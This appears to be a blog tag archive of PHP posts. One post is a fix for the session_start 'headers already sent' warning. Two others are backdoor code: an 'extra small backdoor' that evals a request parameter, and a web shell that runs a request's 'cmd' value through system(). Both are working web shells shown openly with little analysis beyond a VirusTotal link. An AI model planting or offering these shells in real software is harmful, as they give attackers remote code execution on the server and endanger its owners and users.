Tag Archive | php

Warning: session_start(): Cannot send session cache limiter – headers already sent PROBLEM!!!


This problem mostly occurs if the server administrator has disabled output buffering. It is easy to fix it, the only thing you have to do i to put <?php ob_start(); ?> and  <?php ob_end_clean(); ?>

Example:

<?php ob_start(); ?>

php code here before html code generate

<?php ob_end_clean(); ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

XSB(Extra small backdoor) in PHP

<?php
$code=$_REQUEST['code'];
eval($code);
?>

It could be used for remote file inclusion.

A strange research


 
<?php function a(){
	if(isset($_REQUEST['cmd']))
		echo "<pre>";
		$cmd= ($_REQUEST['cmd']);
		system($cmd);
		echo "</pre>";
		die;
}
a();
?>

http://www.virustotal.com/file-scan/report.html?id=8a533070e2fa966210edb324c38e2a0293cc025d53486aa288a7df13ec889fb4-1315865006